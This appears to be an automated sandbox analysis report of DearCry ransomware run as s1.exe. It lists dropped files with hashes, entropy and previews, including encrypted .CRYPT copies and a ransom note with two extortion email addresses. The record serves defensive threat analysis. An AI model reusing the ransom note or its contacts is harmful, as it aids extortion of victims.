                                                              Entropy (8bit):7.999330970738303
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:2F3D6745985C033B9F71FF8C5ACDB0F3
                                                              SHA1:668E7D8D49EB772635C4BC8A726811C4B8FA5AE6
                                                              SHA-256:97BA24886D6EFD8438BFECF5A5C6C12230E59A0FCBD01C0E51682BC71CAEAB5F
                                                              SHA-512:488F89956A9AE76A4C0314D78AB1298E92EB3C2B2FE8A8A7AB76EC1509DAC4349C6F09CC770DCDDAFA65A090940510190EFB4B5CF39BCF327D9A4824775EFE3C
                                                              Malicious:true
                                                              Preview: DEARCRY!...._....<..p{..=..7n......W.!....t..8....".p...@..e...L.=xr_.Y.......g].r.....[.<........C..;A.d.../...0.q......hNX{V.=e....[..ft....V...|.l....+..........J[..<./..:,t.V.5\.w..u:0....0.].Y...~..9..W.Gz&..F.H..*G.G.........`..g.VJ3.y....%l.....................k?..x.. ..n)..+..7.........!E..6..3..\..v......v...ve.X.g.I.. m..N...Yn.x..{..b.!....1.k.{.@...Sh#."...5C..FV.".k.1...&>WN...x.h......d.1M.....y....7[L.W...0....h.WV....'+..u.....z7y.....z........8.i6h.\.'..<.Uqn.......p.q.kW..<.,..-.Y.a.d.2..s...*Cv..]}b.bE....?_.K.1bg|z.....#SD.x.....5.5v..v.._*p.4..:x`o.^v........B...+F....2.zg0....N.oi.q........c...#...Gu_..?l).{.o8....k.{.......Ir.WOH......v1..g.g'@N-0...#.eW.G..`Ypo.....M.6^.1|D%. .)??1...h..Vh;.-..).NQ>t.iu..g2..QZ.n.J..v....,0.@..>.J.Rm...|I8Y....k.%....o..U.h...8.>"....WB6..w..l.|g..N..|......&.xHs..s.s....}t....{O<w...uA*c.C^..m.I{.g.z......--..m:HT.$.[.. .($a..y.c-.)E..5%.E..A.5.,......x...T.3...s.p.....R.>y3......|~..8.,....
                                                              C:\Users\Public\Desktop\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2088
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2CBBAB3CF7CA3ACC6E70C0727F1CCBDB
                                                              SHA1:6375963A80C7508B1818AE63A75DC28AB8D39B6E
                                                              SHA-256:7B7AB9DA0653E4FE36FB9E74885F675028160EB719B76E010C9C2B20819AE4DA
                                                              SHA-512:352D6B82C3BC6C3F767CF90E1E71E2C372AF3087C0D2B33275996ADB84B4805909CA804274A3FA41EACBAA9C971F9DC6F8B76AA092208BA75D697B10222050F6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Public\Desktop\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5472
                                                              Entropy (8bit):7.901766167686934
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:896830B366A26E86BAB2FD547BB68591
                                                              SHA1:870AC9E285A956AEB4589AD8273B31B3AA673281
                                                              SHA-256:9E1F28C9679A413F73991CC7D85C59F5A83F2E96D06B8D0592281FB15318EE7E
                                                              SHA-512:6FE20BE628E704BAA795229DE71E688A135AC42871A7718909F630F825B112EF7940011FEC0ACD6583DB8C5BB9B70874412B85709E108E427DBB5E53A490CF21
                                                              Malicious:false
                                                              Preview: DEARCRY!.... g>......^.4.w-.M..~....jRc{.^....A..z...K.....|.^`(.1.vK..?.EJrP"..fb.j...u../.((zp.n........]..^J.A]......@...u~.._.5...p.hr.GX...v.#.i.iR}...t...h.....SJ....>..x.o.7(..&.g..uk7..e..a..4a....ic.R*.,&i..gr$>"W>.v...<+E.1.,5.y..;... .|.J...m....8B............{....~...A.[02.-.....w...c.J.(........Dj..e....3......Hy.....x..+..q.`..\V..R........x..*...[x.L).{hm.F..../.......O...F..F.t..(.d.q.-s.`d.0C...t..XC...F..V..:.....H..oDEARCRY!.....TGaf.K^^....~.aW7.S..Uz...}.D..y... .k.*.a.C.{...a.Z.....]..%...)}p..{.&.u.......>.]..N...j.9@...G..0..t...a0.1...Zs.......as..M3B..[V.C.c0.t.q!..Z...O..Dh....Xg8..8.v....Rr3...oS....z}..:..=..@.j.&v..c.u.P.?Q...n........W.r.%h..`g.^_7h.J....0...............g.R..........Rh`..$......=w1LG.We.7.5.~.6fy.....7..)..(P....Ol...s..}.W..VS';.':..J.$=..e?.<.T.Y.!.$....b..N,E.......=.......(...~]......`z....U....4..@.0....[......DEARCRY!.....l.A..5,.(.[...m.(px.....%..e&.j4x.%Q.7c..?Xt..LB....I..Z..W...l....'.52..
                                                              C:\Users\Public\Desktop\readme.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2899
                                                              Entropy (8bit):4.816413813438883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DF90BF63E8DB92EC5C50D279EE2CFCC9
                                                              SHA1:8F652EF78B9AC1DB1A2F783FB1F8DD3ADEF6F67C
                                                              SHA-256:983B64D0D8798D64E9E7EC9B04F65F39F54F23CFD8FC29792352598B48A52EAB
                                                              SHA-512:C13D104F0E4ABE0DC7A16A5A66875B9EAEEF19B0C46DEA72DDE53A01C1B93D33B05B09B8DEA33549697EDA42B8BA79B9116725016B4D6E040CCF8DACB7CF100F
                                                              Malicious:false
                                                              Preview: Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.cc or uenwonken@memail.com........ And please send me the following hash!........ 638428e5021d4ae247b21acf9c0bf6f6..Your file has been encrypted!........ If you want to decrypt, please contact us......... konedieyp@airmail.c
                                                              C:\Users\Public\Documents\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):278
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:99A2CA325525DDFBAD6D84EA69A6B4B7
                                                              SHA1:3DA331758F501647C6065B5C1AD0F78FF3349D17
                                                              SHA-256:145B83928222884EBA630D21234FF5C2ACA2AB0206AEDA0B3D7C3D08188FBAC0
                                                              SHA-512:A75CFEAF6AC5269083A10462CD3AD4B44EBF46D9DC0C5E1D23FC9732F59EEED1E7C9E1168E2A24787B667E33BC15FA4B93105A62090D7A982BD94E9D6D512809
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Public\Documents\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):568
                                                              Entropy (8bit):7.57528858932958
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A4F44F9FB3E19BCC5F7C8F513F51AAB8
                                                              SHA1:343294AC3AC2675D0686BDA39AB25DC2484DC314
                                                              SHA-256:184EB6C8BA05F6FD2504F87DC647E60FA8FB514912720568EC651F7EE7FE1ACC
                                                              SHA-512:79DB911BEC82F224FA7576643234835F4927DAE62C64E3477D5341227E95FEF079560DD341A89C0D9771AAFE68512F58228015CE64C6606AF35CC664D3704FD2
                                                              Malicious:false
                                                              Preview: DEARCRY!.....I...&.^0.....L.DC...h-..+/c.[Y...`M....e.@Wx...).^....o.&.."m^{a.}[;`Z#.1.T3..xx.^..y.F+......^........X..)5...xo....C.~.&.^G_h..Td.3 3=.^...f...;>Q..'..'m.j.2...xgq.q...p..t.W4.D...-.w..K.Y>...P.F.-...0......'.&.y...(....+.y.o.y.>`PW..\...............+....{.k8..P.:....3..w)......Y...>..ib..,Y"....e..eCi.......+.L...t.zQR."&...7.LNq.|......Xs.<x<....gl.'g.'V#.2..$(...n......d:*..Cr.8....gv..H. .o.l....].8.*.\...=.Y..G<..zn.I"g...1.,..8...E..~...q@...$.r....]......NA.....s.q#"..z......T.a.....>B...........9...\3.1....
                                                              C:\Users\Public\Music\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):380
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:216F6E1CE2260194845F567B92900F22
                                                              SHA1:35BA03C2C4F32151D6B5AAA5429137638F0909EC
                                                              SHA-256:7A6EAA509C64E3229FE83EEBF52AB890F2977E08B7F88ACC44FC97F9F88D3F33
                                                              SHA-512:98E6869FC89E819FDF2F75CD843539303EB4E7366940869C107BA3B52B0DE377149F7B76407ACEF23865C5A043255720E783FF165C8D5A2C2E32BA6F101E7DFE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Public\Music\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):664
                                                              Entropy (8bit):7.663491589959071
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B914012900A7457C236DFF2E963E809C
                                                              SHA1:9ABD97162F67A8BC269FADD782B9643662A1F96F
                                                              SHA-256:DBE2DBA0705B81403CC0CD70EF85E5E2A7D3050D88D43B1B3A7761756DF8500D
                                                              SHA-512:A9A80B3D635B097394AC0388FB0FFE3C41003A37D30339325E79CE637D9888C211F89ACE739659C4F8426882BEAFD5D885C8EDD9E2DB83ABF2F84DC3ACB7B74C
                                                              Malicious:false
                                                              Preview: DEARCRY!....tb.J.....#....M&.#.Gv..6.......u\fr/:.q..j.0...?.&.cc..eJS.P.v...5.X0. amk......Z]...w..?9@/.RKT%K....h\.#Ai&....\./...(C.w...:..b..G...#.)..7..$.I".%s.#...c.|..R.T......+.V.D...bO.oB...q).e!..>fV...+CH%...Qo....{.IT.Cu.I.O7...ms..,0.O09/..,.C..Kw....|........d......|......l.K.J..5..$.0?..*#Dd6xN....w.B.|o.:.@...N..`c..D.L3r.|Y.H.....t6........=a....v3z.x}^..'...&.....-..f...._.<....^../0..S.o .8.g.q...m....3.#..yYN..Kr...^.5....[...Q..]...M.gs......>.r..3.dt...Z...}..@.........4..??5..m'...".{;....>...#......3 ;.T..yL.l.I+>H@....|..5.hwc[.O.wM.-.tZ....^..E.R.'".'....}k|w...$...d.._.\gC[..mb.P..xBR..2...T...V.../.
                                                              C:\Users\Public\Pictures\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4180
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:286704A9FA48F708FF9CB54F3BB5BE47
                                                              SHA1:8B1D20C7B6E718060FF8880B077BECC12D79BAC9
                                                              SHA-256:10C8C0B187582802C7970455B1239F8FC50C860D9D7A5F7D600C0FAFED87692C
                                                              SHA-512:02D4255ECEE1A0AD2A334CCE56F82EA91DD343BFCE4A3C96B8DADD5338496BBD36833A42741A94B8E75AF43B180DB270BB5B6CCB2B24EB08C1F5288676884F35
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Public\Pictures\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7304
                                                              Entropy (8bit):7.936233276638688
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A276F68BB9E3C5FE8A7B056D96A7E34A
                                                              SHA1:BCE25210276CF1C8655F89F95F69FA000A1767AC
                                                              SHA-256:68637FE5D383704046C0753299541C2D234F29FB882ADC2715C674C424CEB384
                                                              SHA-512:98C9D92FFC66B93335E9ED332489AB3D377BAF5AEB7EAC347107262D715DB8DE316DC6B38AE64C463E9760F4B453B0F4D999333B891EEB5F413397F139B45CE7
                                                              Malicious:false
                                                              Preview: DEARCRY!.......W.....L/....{....b..7.r......S=.A.o|.e.#..W.`..H.....]_(.....3U.]..A.DCt....F..x~..&.....!..x)..R.vP5\...+#q...q..J..jNI.M.&....*L..).....c....Zg[.9.+.1....h.7mp.....e.xlt. .lU+ZF.ek..Uf...s.....=}o`q.&T...I..x!.[o.d....H".@.B.Zv.|....../.4F3.....|........>...RF..<...1!. .v.?..4...QOH,..T5.w.....`....S....&0.Q^U=].....I.R....n..P..B.....'X.\.."y...$_..j.3....=.+(n.h....g.pe.|.$.L.`.F).=...~T^7.....=...\TD}m.<...2eRh...Gk.W.@..f...FMT...3Z.;:v}.......9.D.0. ...s.....+....*6:Mt...8<G.M...,1'...R.L....o...&.T.2h...a.C..B.i.j..."..X`.E.._..~.2..F7m.~.k...`.H{.n]....9....K....%...BkbGm..|.}...,.I[.#.b.e..W.n)...,DEARCRY!.......03.....".....K#.1.<v.B{.K. .......}q.8.sl...k...B.$......K...z.`.y.,.Iu......!.~.....sB....v..S.N..P.V.c.2/kL...D.V%.A....m.....MOkgaF.a>IQw?A.U.c.@X)..D...5.>6t...'..V....0t:...7.Q.../=..Y.I..@.Y.d@..#...H.r94.O.......G...4...h.....b.._...k......|.......=....?;..~...9L...0..+.....Xs...?f....LA....".4^Q;
                                                              C:\Users\Public\Videos\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4180
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:286704A9FA48F708FF9CB54F3BB5BE47
                                                              SHA1:8B1D20C7B6E718060FF8880B077BECC12D79BAC9
                                                              SHA-256:10C8C0B187582802C7970455B1239F8FC50C860D9D7A5F7D600C0FAFED87692C
                                                              SHA-512:02D4255ECEE1A0AD2A334CCE56F82EA91DD343BFCE4A3C96B8DADD5338496BBD36833A42741A94B8E75AF43B180DB270BB5B6CCB2B24EB08C1F5288676884F35
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\Public\Videos\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7304
                                                              Entropy (8bit):7.935613732433968
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4FF49E644F727B052E3B733D8662D540
                                                              SHA1:F3EB874E133F821FF8682D7B8E643DCD01FF5101
                                                              SHA-256:991C9B2801B1E4B39ABCDF55A53ED35B47DE6FF11BB45B496E6A937FD5897715
                                                              SHA-512:40555CD6AE6BADD431C83BAECE0253FA16E2E7D0417BA0EA8CBCFFC4A7AA71B243779823CADF8E074999BD8B81197AE869E52F3FA8A102AC0C5D3B859E614A7C
                                                              Malicious:false
                                                              Preview: DEARCRY!..........f..<..e....."aZ......y,.k...kB.z..9..n.:.B...T.}O.9P...Z..[...Dc..(t.a^.k..m.WjU...4xNZ..$arG'..H..+...U.5wv)\>]ut..^Aa...b#7..N...h.....A'U.?......Y....8|9./.(..[..".!....s.<..Q..Ux....x3%.#..[.u....z....Zn..t.k.~....|.t.H..q...d.....|.........~.......6.:.@^K..q..7.$....A........I......a$.#...-&Y...I.Mm'.N....N....\.....;e....v.....e{RTJ.u.2.U.!~..uF.f.c..%^K.$R.|...2.}...b.lx;.I...:=.i...... Nn.or..w@X.Ti...@p..E....*...?$.,+..C.ya..nh...c^;...Z....I0.4O..$........Vy~0..s(N...C7R.>p.....qQ....%I#3.......5.Ak.%.>x.G..*R...<.........T.iI.ku....R..h.z_c7 cMY.\U..T.._..2....v|.5%..CQbR.04.^.P6~Q........ZDEARCRY!.....F...P.U3B....XwP.7.r..\...@..b.....Y..{.@B.E.....w...$;....X.Gf..=...E..,Zy.......=>.6C..A...6,........\.0*.y+..W.Oj8.h.....J...E..O.N.H.....Y...P6.)I.P.o.d$...t....8%..)[$.......,..X|1.D.cZH...........k.+....n....9.. .....(.AYk.E..\?............|.......\R.1..`."b...M.^XC..p<....M*.Y.'..B..X..p..:B..W......!
                                                              C:\Users\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):174
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ACE3165E852ADB8AEDBEDA2AA3BE570B
                                                              SHA1:4577FF7E92850E2723008F6C269129BD06D017EA
                                                              SHA-256:237F73D46D3501DE63EAE1F85FDF37E65DDCED70F013B7F178D1EE52B08F051F
                                                              SHA-512:CF77563B9295B191CE2F309E03618D1AB4D317F65B87DBECC4904EE2D058DB06D23C20C199571B0FAFB67AE5EC5166B76AF0B7D8BFE3996B0DDE9751E28F8C03
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.49822922163517
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4F3839C5E7ED5DDC44C5708856195502
                                                              SHA1:C5B33A2B3D0D7176FF5E3A73386A1820B01FEF59
                                                              SHA-256:C5D63E8A702B6140639EC58EA44CAEEB1CC4AADA60DFB5F8B4106164F1E6C58A
                                                              SHA-512:E72D0623971F52CC995DC5A0B4C3A389F5A19E1089CC1C8C2D80A69773CC3DA5A64560B00045E9167F254F1EDDB9EB054E4146BE54485ABC3654F2F42B30A7BD
                                                              Malicious:false
                                                              Preview: DEARCRY!....!...'..,.i.q.<q..:d?..i..M1...x.'........%...M..(.......>..c.a(.n..P".y.A..,B.:0....V.]...2..g.DNhm...z....MGfX<q..S..4(6u.A....h5..+.V.]..v.7..'$.l..$.q3<....S..w...."..W....K.Y.$...Z@[..D.TV...B......_..x@0.a..3Q.:.i*..u.L..^..Ow_..z..)......8...................-u.).a....YL.d...W...\..,..lA..>..,..lk..5...D.u..g.]@......vU..>8.1|..v..B~..6.r%.Y&&&m.Df.)j%*..?`......q..P.?$j..K..c..+y...m...U..B6....B...B..\...I.f.."1Mg...
                                                              C:\Users\user\3D Objects\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):298
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8AB683528672BBBC5A358F472140F720
                                                              SHA1:7887AA25BF396973A625237B07A8E53AEA8D5EE2
                                                              SHA-256:E8DA3CA62FDF66DC4F78D17720BFC36EA9FE24E5A690F3156896E9CE7CB09DD0
                                                              SHA-512:9ED78BB6DC71259DFAE00B97762EA6D57C5945AB81510CAEFAC0070087DF8DCC3338159B0A9F3088DACC951936F439E5EA2D016BBE663E3F10FDA1469CBF64E3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\3D Objects\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):584
                                                              Entropy (8bit):7.566139866123357
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6858D6EFD4CB15B129FD59CECEBC9A44
                                                              SHA1:48C9FECF37641C614F84869EA13D043DABEFFB41
                                                              SHA-256:C3BA8E07E0CFAD809DA1F59F83D262FCF6A5DB7CFE513D5C5A6AAF6E693AFC0C
                                                              SHA-512:32901F2492840A9F06442B9728138E126851416A57B711E76C59891C7B0A0D35EE4977511337A1070B69F9DDED7C9030CCE04B6F896DAC65D0DC60823B070ED7
                                                              Malicious:false
                                                              Preview: DEARCRY!...............)..=.g8V.7....g.,.+....,N...".m.[.4.C.6..!..^.`.D..h.c".....'M.?:<.&.t_._Q6.,...0................2....@t...(.....t.....=..._..R.Y.1#..j-.q|.....{W.A.9s..a...r\ao..e.P..h.5.2R..J...SR..<V...%....x..w=,6..Z#..`.4..hh..6...v.9..e......*........B!.2..t._..e*.h..Y...hw./.lkq5w...&...-.y.V..O^..5......e...Y.../|.|..... .E7u..."..7.P..K....C.1q.....z....c.Z%.....,..$........6<....rj_ .....@/T.U<a.[............,x..k......>...X.;....u..C...i..q5$..z.O...s..x....5r@.m.Z..:.(...}%.154...ShB6e.{e<89.]l>l...p.o<.N........hc.4.....Eu.s.C.
                                                              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):245188
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F38F221E0A852E8FEBA499BF79E41935
                                                              SHA1:7A4BD1D4E4F080B03CC606AFBCBD055AC1ABF965
                                                              SHA-256:AF8C3ACEF1B2508FA6BC7B5FA6FAD793A6C8D99812E3AFAE726E77EF4AC1B9AE
                                                              SHA-512:C7FA1CB5327D6F848EBAF987CFBEADA9986A821C4B44DA3D996D6DD59150CABFA2F4A3EE31060BC3602775B52F06E561F5E824E023D1AC478B4857D9FD7D8C1C
                                                              Malicious:true
